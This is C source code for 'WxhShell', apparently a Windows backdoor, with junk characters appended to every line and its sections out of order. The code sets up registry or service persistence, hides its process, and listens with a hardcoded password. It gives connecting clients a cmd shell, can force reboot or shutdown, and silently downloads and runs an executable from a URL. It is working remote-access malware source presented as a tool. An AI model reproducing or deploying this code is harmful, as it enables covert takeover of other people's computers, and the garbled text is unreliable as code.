    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); | ?Js)i  
    if(Boot(SHUTDOWN)) pq;)l( Hi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @C),-TM  
    else { ;D5B$ @W>  
    closesocket(wsh); J('p'SlI  
    ExitThread(0); r{m"E^K,  
    } 8e_ITqV%  
    break; =A,32&;@N  
    } V+A1O k )  
  // 获取shell A]nDI:pO|  
  case 's': { , O=@I  
    CmdShell(wsh); mUi|vq)`=D  
    closesocket(wsh); sePOW#|  
    ExitThread(0); 9gMNS6D'b  
    break; m .2)P~a  
  } G:qkk(6_#  
  // 退出 ~5aq.hF1,A  
  case 'x': { ,nO:Pxn|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =Ewa}$-  
    CloseIt(wsh); Ugmg,~U~k  
    break; r>lC(x\B  
    } ],%}}UN  
  // 离开 C3`2{1  
  case 'q': { -CW$p=y}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _tE$a3`  
    closesocket(wsh); mea]m)P  
    WSACleanup(); Q$iGpTL  
    exit(1); ku,Y-  
    break; o5+N_5OE}E  
        } Hl&]r'bK  
  } >iP>v`J  
  } cm]D"GFLY  
l7 D/ ]&  
  // 提示信息 ?9q{b\=l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z41 p $  
} gM|X":j  
  } SJVqfi3A  
8xUmg&  
  return; ;8sEE?C$g  
} o?P(Fuf  
hB:R8Y^?H  
// shell模块句柄 Fs:l"5~>1  
int CmdShell(SOCKET sock) Jrlc%,pZ  
{ BY: cSqAW  
STARTUPINFO si; whP>'9t.w  
ZeroMemory(&si,sizeof(si)); (E)/' sEb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %j=E}J<H5*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c Xcn}gKV  
PROCESS_INFORMATION ProcessInfo; 8}p5MG  
char cmdline[]="cmd"; yS/ovd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T8YqCT"EA<  
  return 0; ,)+O.Lf7&.  
} j#%*@]>Tg  
g#=^U`y  
// 自身启动模式 0-Xpq,0  
int StartFromService(void) aisX56Lc  
{ 57+^T}/>  
typedef struct %@(6,^3%i  
{ $Vp&Vc8  
  DWORD ExitStatus; r2QC$V:0  
  DWORD PebBaseAddress; <u44YvLBm  
  DWORD AffinityMask; C78d29  
  DWORD BasePriority; ^sH1YE}0  
  ULONG UniqueProcessId; ;D]TPBE  
  ULONG InheritedFromUniqueProcessId; (JFa  
}   PROCESS_BASIC_INFORMATION; kYs2AzS{d  
hmkcW r`  
PROCNTQSIP NtQueryInformationProcess; <2y~7h:  
j^Zp BNL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rjU $*+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $y=sT({VVe  
*cTN5 S>  
  HANDLE             hProcess; n2-R[W^  
  PROCESS_BASIC_INFORMATION pbi; vzaxi;S<  
fE)+9!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s4SR6hBO  
  if(NULL == hInst ) return 0; ]8YHA}P  
oq]KOj[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8%7H F:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W5:S+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q}]:lmqH  
3v:RLnB  
  if (!NtQueryInformationProcess) return 0; ]-{T-*h:  
-$WiB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); txr!3-Ne'!  
  if(!hProcess) return 0; $if(`8  
)'%L#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a|?CC/Ra  
. 36'=K  
  CloseHandle(hProcess); OY~5o&Oa  
?vf{v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7Yj\*N  
if(hProcess==NULL) return 0; $Ry NM2YI  
y9\s[}c_  
HMODULE hMod; 1aYO:ZPy  
char procName[255]; :'GTCo$3  
unsigned long cbNeeded; K r]!BI?z  
!0Xes0gK0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N!RyncJ  
wrsETB c  
  CloseHandle(hProcess); \"Sqr(~_  
5 +(YcV("  
if(strstr(procName,"services")) return 1; // 以服务启动 v-G(bw3  
X+ iA"B  
  return 0; // 注册表启动 "hog A5=  
} g;]2'Rj  
aDza"Ln  
// 主模块 94nvh:n  
int StartWxhshell(LPSTR lpCmdLine) m !;mEBL{  
{ @ n;WVG  
  SOCKET wsl; ~n"V0!:'4  
BOOL val=TRUE; IRo[|&c  
  int port=0; 0]>p|m9K^<  
  struct sockaddr_in door; V^L;Nw5h  
HdWghxz?)  
  if(wscfg.ws_autoins) Install(); =#%e'\)a  
aKCCFHq t!  
port=atoi(lpCmdLine); =K8`[iH  
Q1eiU Y6  
if(port<=0) port=wscfg.ws_port; |7%$+g  
Y!&dj95y  
  WSADATA data; >47,Hq:2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <#|3z8N2  
x6Z$lhZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %q>gwq A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d2X#_(+d  
  door.sin_family = AF_INET; V=(4 c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  ]g?G 0m  
  door.sin_port = htons(port); _IpW &  
(2qo9j"j/Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D"1ciO8^I]  
closesocket(wsl); ]]%C\Ryy}  
return 1; 0TA/ExJ-LT  
} nsgNIE{>gO  
k7y!! AV  
  if(listen(wsl,2) == INVALID_SOCKET) { s?%1/&.~  
closesocket(wsl); YVW!u6W'[6  
return 1; T/ S-}|fhQ  
} PI0/=kS  
  Wxhshell(wsl); fvNGGn!  
  WSACleanup(); m@HU;J\I  
XTW/3pB  
return 0; }3[ [ONA  
bJ. ((1$  
} R4V>_\D/  
+oQ@E<)H  
// 以NT服务方式启动 M5)6|T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TS3 00F  
{ E?08=$^5%  
DWORD   status = 0; uvA}7L{UO  
  DWORD   specificError = 0xfffffff; 8KoPaq   
 KQW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c1n? @L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7CG_UB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |Z2_1( ku  
  serviceStatus.dwWin32ExitCode     = 0; Ld`~^<B  
  serviceStatus.dwServiceSpecificExitCode = 0; )XO2DY1/&  
  serviceStatus.dwCheckPoint       = 0; P$4?-AZ  
  serviceStatus.dwWaitHint       = 0; 9@vY(k k  
|y'q`cY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s 6hj[^O  
  if (hServiceStatusHandle==0) return; MF E%q  
i, RK0q?>  
status = GetLastError(); o~GhV4vq  
  if (status!=NO_ERROR) C!Tl?>Tt  
{ RPp_L>&~<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $k!@e M/R  
    serviceStatus.dwCheckPoint       = 0; hZzsZQ`  
    serviceStatus.dwWaitHint       = 0; >Xb]n_`  
    serviceStatus.dwWin32ExitCode     = status; tU)+q?Mw  
    serviceStatus.dwServiceSpecificExitCode = specificError; {n1o)MZ]R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'mmyzsQ \6  
    return; o-)E_X  
  } iSFgFJG^  
r2&{R!Fj`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3{$c b"5  
  serviceStatus.dwCheckPoint       = 0; 9U;) [R Mb  
  serviceStatus.dwWaitHint       = 0; )(!vd!p5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hR{Fn L  
} }:hdAZ+z  
u-k*[!JU  
// 处理NT服务事件,比如:启动、停止  R6AZIN:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d0N7aacY  
{ sk],_l<  
switch(fdwControl) C2`END;  
{ eN jC.w9  
case SERVICE_CONTROL_STOP: 9CL&tpqv f  
  serviceStatus.dwWin32ExitCode = 0; ?NHh=H\7u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1^$Io}o:S  
  serviceStatus.dwCheckPoint   = 0; #4" \\  
  serviceStatus.dwWaitHint     = 0; fk",YtS*  
  { 7`WK1_rR\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IPT}JX'  
  } St(7@)gvY  
  return; s}HTxY;  
case SERVICE_CONTROL_PAUSE: 8o4 vA,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0q62{p7  
  break; +5T0]!  
case SERVICE_CONTROL_CONTINUE: 6xj&Qo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >)VrbPRuA  
  break; 2&Efqy8}DZ  
case SERVICE_CONTROL_INTERROGATE: ?^@;8m  
  break; s'K0C8'U  
}; +"d{P,[3J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I.( 9{  
} "+HZ~:~f  
4z$ eT  
// 标准应用程序主函数 7tt&/k?Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #D}NT*w/  
{ H ($=k-+5  
~i(*.Z) \  
// 获取操作系统版本 4Q!*h8O  
OsIsNt=GetOsVer(); Ig9$ PP+3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nq$^}L3&~  
L:%h]-  
  // 从命令行安装 0,VbB7 z  
  if(strpbrk(lpCmdLine,"iI")) Install(); thq(tK7  
%_/_klxnO  
  // 下载执行文件 5B@&]-'~  
if(wscfg.ws_downexe) { B6ys 5eQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) duwZe+  
  WinExec(wscfg.ws_filenam,SW_HIDE); $%!]tNGS  
} NVOY,g=3X  
Q04N  
if(!OsIsNt) { g/T`4"p[H  
// 如果时win9x,隐藏进程并且设置为注册表启动 +i K.+B  
HideProc(); ,':?3| $c  
StartWxhshell(lpCmdLine); 5$9j&&R  
} rgOB0[  
else 2p'qp/  
  if(StartFromService()) <K2 )v~  
  // 以服务方式启动 fHe3 :a5+W  
  StartServiceCtrlDispatcher(DispatchTable); 7ZJYT#>b  
else b)`<J @&{  
  // 普通方式启动 $osDw1C  
  StartWxhshell(lpCmdLine); i*F^;-q)  
o{ U= f6  
return 0; -lLq)  
} Qy9#(596  
OvQG%D}P=  
G:A` n;E0  
uS<&$J H  
=========================================== X\flx~  
JZai{0se  
9v/1>rziE  
ON !1lS  
eLl ;M4d  
RX#:27:  
" 3ne=7Mj  
)kg^.tP  
#include <stdio.h>   5)mn  
#include <string.h> )2:d8J\  
#include <windows.h>  fkYa  
#include <winsock2.h> y5oiH  
#include <winsvc.h> MF>?! !  
#include <urlmon.h> hGzj}t W8d  
H!7/U_AH  
#pragma comment (lib, "Ws2_32.lib") c!6.D  
#pragma comment (lib, "urlmon.lib") k}JjSt1_A;  
B(E+2;!QF  
#define MAX_USER   100 // 最大客户端连接数 DQwbr\xy\  
#define BUF_SOCK   200 // sock buffer Xo$(zGb  
#define KEY_BUFF   255 // 输入 buffer ^F_c'  
?|{P]i?)'  
#define REBOOT     0   // 重启 6J-tcL*4"%  
#define SHUTDOWN   1   // 关机 ~|+   
X(N!y"z  
#define DEF_PORT   5000 // 监听端口 Pq !\6s@  
ALPZc:  
#define REG_LEN     16   // 注册表键长度 UKn>.,  
#define SVC_LEN     80   // NT服务名长度 BK6oW3wD/  
*\-6p0~A  
// 从dll定义API joYj`K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7)<&,BWc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NouT~K`'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sh=z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v-g2k_ o|  
lP0'Zg(  
// wxhshell配置信息 +.gZILw  
struct WSCFG { !$Nh:(>:  
  int ws_port;         // 监听端口 | [P!9e  
  char ws_passstr[REG_LEN]; // 口令 C+jlIT+  
  int ws_autoins;       // 安装标记, 1=yes 0=no {ge^&l  
  char ws_regname[REG_LEN]; // 注册表键名  O &;Cca  
  char ws_svcname[REG_LEN]; // 服务名 Un@dWf6'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A"d=,?yE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $,F1E VJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '\=aSZVO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `BF+)fs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -I '#G D>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +<&_1% 5+  
g \&Z_  
}; `l'z#\  
<Zn]L:  
// default Wxhshell configuration 1Sx2c  
struct WSCFG wscfg={DEF_PORT, 42~tdD  
    "xuhuanlingzhe", (HDR}!.E  
    1, i=nd][1n  
    "Wxhshell", h b_"E, `F  
    "Wxhshell", Qw}uB$S>  
            "WxhShell Service", V*}ft@GPD  
    "Wrsky Windows CmdShell Service", 4ba[*R2  
    "Please Input Your Password: ", ,F!zZNW9  
  1, Z<@0~t_:?p  
  "http://www.wrsky.com/wxhshell.exe", J>TNyVaoQ  
  "Wxhshell.exe" #;z;8q  
    }; ACctyGd  
O,x[6P54P  
// 消息定义模块 e?,n>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 58V`I5_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <Y:{>=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Nu/wjx$b  
char *msg_ws_ext="\n\rExit."; B/0Xqyu  
char *msg_ws_end="\n\rQuit."; =+DfIO  
char *msg_ws_boot="\n\rReboot..."; f; w\k7 #  
char *msg_ws_poff="\n\rShutdown..."; +DU^"q=  
char *msg_ws_down="\n\rSave to "; [0qe ?aI  
e];lDa#4-Y  
char *msg_ws_err="\n\rErr!"; ) [+82~F  
char *msg_ws_ok="\n\rOK!"; ";yey]  
u0zF::  
char ExeFile[MAX_PATH]; q HaH=g%  
int nUser = 0; :m]H?vq] \  
HANDLE handles[MAX_USER]; OD]`oJ|  
int OsIsNt; J}BN}|Y@2  
X6 *4IE  
SERVICE_STATUS       serviceStatus; <hvs{}TS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ra) wlI x  
>J*x` a3Q  
// 函数声明 ct`j7[  
int Install(void); rP|~d}+I  
int Uninstall(void); #9zpJ\E  
int DownloadFile(char *sURL, SOCKET wsh); y)vK=,"  
int Boot(int flag); Ql"kJ_F!br  
void HideProc(void); \Kr8k`f  
int GetOsVer(void); 2*Zk^h=  
int Wxhshell(SOCKET wsl); G%iT L"6  
void TalkWithClient(void *cs); )Fon;/p  
int CmdShell(SOCKET sock); ,4:=n$e 0  
int StartFromService(void); ' Dp;fEU$  
int StartWxhshell(LPSTR lpCmdLine); o=J-Ju  
z36wWdRa6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GXC,p(vbE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'b)qP|  
z_93j3 #  
// 数据结构和表定义 ~=va<%{ U  
SERVICE_TABLE_ENTRY DispatchTable[] = ;NU-\<Q{  
{ `6$|d,m5  
{wscfg.ws_svcname, NTServiceMain}, )Zf1%h~0r  
{NULL, NULL} UodBK7y  
}; !7Eodq-0  
;/:Sx/#s  
// 自我安装 5`Q j<   
int Install(void) t:MSV?  
{ v5>A1\  
  char svExeFile[MAX_PATH]; [?%q,>F  
  HKEY key; >)F "lR:o  
  strcpy(svExeFile,ExeFile); zD)/QFILy  
Hvb8+"?~  
// 如果是win9x系统,修改注册表设为自启动 KpA1Ac)T  
if(!OsIsNt) { ?4A/?Z]ub  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &AN1xcx\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B (Ps/  
  RegCloseKey(key); cbN;Kv?ak}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m g,1*B'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^/_Yk.w  
  RegCloseKey(key); /~M H]Gh  
  return 0; o^XDG^35`  
    } SQ_Je+X  
  } Q$uv \h;  
} Kci. ,I  
else { G54J'*Z  
`78Bv>[A  
// 如果是NT以上系统,安装为系统服务 ~)^'5^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {j=`  
if (schSCManager!=0) 6<EGH*GQ$  
{ q`,%L1c4  
  SC_HANDLE schService = CreateService ;$W HTO(  
  ( nl qn:[BU  
  schSCManager, x-"8V(  
  wscfg.ws_svcname, Z:dp/M}  
  wscfg.ws_svcdisp, P#O2MiG  
  SERVICE_ALL_ACCESS, f(Y_<%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /a'1 W/^2  
  SERVICE_AUTO_START, N0H=;CIQ  
  SERVICE_ERROR_NORMAL, V"m S$MN  
  svExeFile, ^|H={pd'c0  
  NULL, #l ZK_N|1x  
  NULL, N+'j on}U  
  NULL, _ Ao$)Gu)  
  NULL, "$XX4w M  
  NULL jMgXIK\  
  ); GlnO8cAB  
  if (schService!=0) yVII<ImqIH  
  { +? h}e  
  CloseServiceHandle(schService); ];Z6=9n  
  CloseServiceHandle(schSCManager); kk %32(By  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GL=}Vu`(*  
  strcat(svExeFile,wscfg.ws_svcname); /M_$4O;*@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $c9-Q+pZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XEgJ7h_  
  RegCloseKey(key); VGmvfhf#"  
  return 0; 6|zhqb|s  
    } 5BJ E  
  } -~mgct5  
  CloseServiceHandle(schSCManager); $#q`Y+;L2  
} #L~i|(=U5  
} 1h&`mqY)L.  
IdQ./@?  
return 1; X/yq<_ g  
} p&h?p\IF  
z Fo11;*D  
// 自我卸载 f<NR6],}  
int Uninstall(void) f#= c=e-A  
{ P.}d@qD{)  
  HKEY key; ?@ F2Kv  
3''S x8p  
if(!OsIsNt) { ]1|P|Jp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hq)1YO  
  RegDeleteValue(key,wscfg.ws_regname); 'v"=   
  RegCloseKey(key); |;vQ"8J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SVZocTt  
  RegDeleteValue(key,wscfg.ws_regname); g1s%x=7/  
  RegCloseKey(key); #;$]M4  
  return 0; xWxc1tT`  
  } X H-_tvB  
} HeOdCr-PN  
} D5TDg\E  
else { gcU*rml  
2yZr!Rb~*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4f([EV[6dK  
if (schSCManager!=0) lH}KFFbp  
{ $KK~KEZ2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Upe}9xf  
  if (schService!=0) uh )S;3|  
  { 1^!SuAA@  
  if(DeleteService(schService)!=0) { >Icr4?zq  
  CloseServiceHandle(schService); ;V xRaj?  
  CloseServiceHandle(schSCManager); BmG(+;;&  
  return 0; QO2cTk m  
  } y0%1YY  
  CloseServiceHandle(schService); q`q;og `  
  } `Mnu<)v  
  CloseServiceHandle(schSCManager); rm iOeS`:  
} =~B"8@B  
} J@s>Pe)  
K#0TD( "  
return 1; aQCu3T  
} ieFl4hh[G  
8]ZzO(=@{  
// 从指定url下载文件 .T| }rB<c  
int DownloadFile(char *sURL, SOCKET wsh) 0zaK&]oY0  
{ A&Y5z[p  
  HRESULT hr; ;mkkaW,D*  
char seps[]= "/"; x HRSzYn$  
char *token; bGPE0}b  
char *file; 7?$?Yu  
char myURL[MAX_PATH]; j/FLEsU!R  
char myFILE[MAX_PATH]; ={qcDgn~C  
eU[g@Pq:Y  
strcpy(myURL,sURL); o*S_"  
  token=strtok(myURL,seps); \^x{NV@v42  
  while(token!=NULL) xN1P#  
  { O G`8::S  
    file=token; ,/42^|=Z6O  
  token=strtok(NULL,seps); /Mqhx_)>A  
  } 9iA rBL"  
K^Awf6%  
GetCurrentDirectory(MAX_PATH,myFILE); 0l!#u`cCI  
strcat(myFILE, "\\"); Cn{Hk)6  
strcat(myFILE, file); l":W@R  
  send(wsh,myFILE,strlen(myFILE),0); c3$T3Lu1  
send(wsh,"...",3,0); mj~:MCC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LeKovt%  
  if(hr==S_OK) &*C5Nnlv  
return 0; "Ms;sdjg}&  
else W>K^55'  
return 1; XKoY!Y\  
rUiYR]mV  
} Lc*>sOm9  
z3o i(  
// 系统电源模块 3k Ci5C  
int Boot(int flag) (l{vlFWd  
{ '! [oLy  
  HANDLE hToken; 5E]t4"  
  TOKEN_PRIVILEGES tkp; b;k+N`  
YW7W6mWspS  
  if(OsIsNt) { ;cor\ R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o NtFYY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  : T*Q2  
    tkp.PrivilegeCount = 1; BOs/:ZbK0W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LG #^g6P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); / ^.|m3  
if(flag==REBOOT) { ]Bhy  =1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j[>cv;h ;  
  return 0; *{g3ia  
} y0zMK4b  
else { +P/kfY"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W(,j2pU  
  return 0; 3/G^V'Yu  
} 34@[ZKJ5  
  } 8v4}h9*F"7  
  else { S c)^k  
if(flag==REBOOT) { _?{7%(C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JJ?{V:  
  return 0; Ei;tfB  
} Z_d"<k}I  
else { "yWw3(V2>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PRKZg]?  
  return 0; o/5-T4  
} ARk(\,h  
} ']_2@<XW)  
rQ;w{8J\t  
return 1; 5)[~ T2j!  
} f6Qr0Op  
ZN[<=w&(cB  
// win9x进程隐藏模块 \br!77  
void HideProc(void) Ey6R/M)?:y  
{ p>6`jr  
bO '\QtW9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V%Uj\cv  
  if ( hKernel != NULL ) l$42MRi/  
  { "M I';6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %y1!'R:ZW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t@q'm.:uw<  
    FreeLibrary(hKernel); +H)'(<  
  } Q8p6n  
.Y)[c. ,j  
return; !Ok(mgV$/  
} -YRIe<}E -  
F:{*4b  
// 获取操作系统版本 HU3:6R&  
int GetOsVer(void) Dk1& <} I  
{ 5!-TLwl`j\  
  OSVERSIONINFO winfo; g: i5%1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *Gsj pNr-  
  GetVersionEx(&winfo); UKS5{"=T[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #c"eff  
  return 1; d,<ni"  
  else NBikYxa  
  return 0; .~z'm$s1o  
} 96=<phcwN[  
gI+8J.AG=  
// 客户端句柄模块 FG?Mc'r&  
int Wxhshell(SOCKET wsl) la!]Y-s)'4  
{ .[|UNg  
  SOCKET wsh; SZykG[  
  struct sockaddr_in client; iD^,O)b  
  DWORD myID; Jt~Ivn,  
hI[} -  
  while(nUser<MAX_USER) 3jmo[<p*x  
{ .@1+}0  
  int nSize=sizeof(client); -m@o\9Ic  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h`[$ Bp  
  if(wsh==INVALID_SOCKET) return 1; ,75)  
L/3A g* ]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .RD<]BxJ  
if(handles[nUser]==0) =c8}^3L~7  
  closesocket(wsh); 7"(!]+BW!O  
else TBlSZZ-55]  
  nUser++; k,h602(  
  } d {z[46>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jhu &Wh  
`lf_wB+I  
  return 0; -,bFGTvYQ  
} tC[ZWL  
X.]I4O&_  
// 关闭 socket H]TdW;ZbZ  
void CloseIt(SOCKET wsh) /l$x}  
{ `~1!nfFD  
closesocket(wsh); yR}. Xq/  
nUser--; V<ESj K8  
ExitThread(0); XLh)$rZ  
} b)w cGBS  
FD=% 4#|  
// 客户端请求句柄 ( ?FH`<  
void TalkWithClient(void *cs) Hv,|XE@Y  
{ Ufr@j` *  
pR0[qsQM  
  SOCKET wsh=(SOCKET)cs; ,Oo`*'a[o7  
  char pwd[SVC_LEN]; NvK9L.K  
  char cmd[KEY_BUFF]; 0K!3Ny9(  
char chr[1]; eJDZ| $  
int i,j; z^Hc'oVXj:  
0<M-asI?  
  while (nUser < MAX_USER) { W.wPy@yi  
$8EEtr,!  
if(wscfg.ws_passstr) { 1gI7$y+?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -I< >Ab  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vk5Z[w a  
  //ZeroMemory(pwd,KEY_BUFF); C@M-_Ud>Q  
      i=0; 8%rD/b6`  
  while(i<SVC_LEN) { hp dI5  
K_Y-N!h  
  // 设置超时  01kRe  
  fd_set FdRead; (;NJ<x  
  struct timeval TimeOut; ''17(%  
  FD_ZERO(&FdRead); woI5aee|  
  FD_SET(wsh,&FdRead); =H95?\}T[  
  TimeOut.tv_sec=8; WtSs:D  
  TimeOut.tv_usec=0; K#"=*p,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,p2UshOmd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q*M#e  
_3IT3mb2n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +qi& ?}  
  pwd=chr[0]; \Ne`9k  
  if(chr[0]==0xd || chr[0]==0xa) { VQ=  
  pwd=0; !2!~_*sGe  
  break; 7>hcvML  
  } unDW2#GX  
  i++; iTxWXij  
    } n Ja!&G&  
r6<;bO(  
  // 如果是非法用户,关闭 socket MT6p@b5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \PX4>/d@y  
} }D1x%L  
G?Et$r7:R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `kKssU<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8}%F`=Y0  
=vThtl/azD  
while(1) { c[@_t.%)  
{X,%GI  
  ZeroMemory(cmd,KEY_BUFF); sG g458  
p.8bX  
      // 自动支持客户端 telnet标准   79DNNj~  
  j=0; ixTjXl2g  
  while(j<KEY_BUFF) { jCd]ENl+_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]3r}>/2(  
  cmd[j]=chr[0]; Upz)iOqLi  
  if(chr[0]==0xa || chr[0]==0xd) { y4\X~5kU  
  cmd[j]=0; iSfRJ:_&6  
  break; S!K<kn`E3  
  } U1\EwBK8*T  
  j++; 3Tr,waV  
    } ammi4k/  
fe .=Z&  
  // 下载文件 c!w[)>v  
  if(strstr(cmd,"http://")) { '1u?-2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i?L=8+9f  
  if(DownloadFile(cmd,wsh)) QE 4   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VH7t^fb  
  else UiU/p  
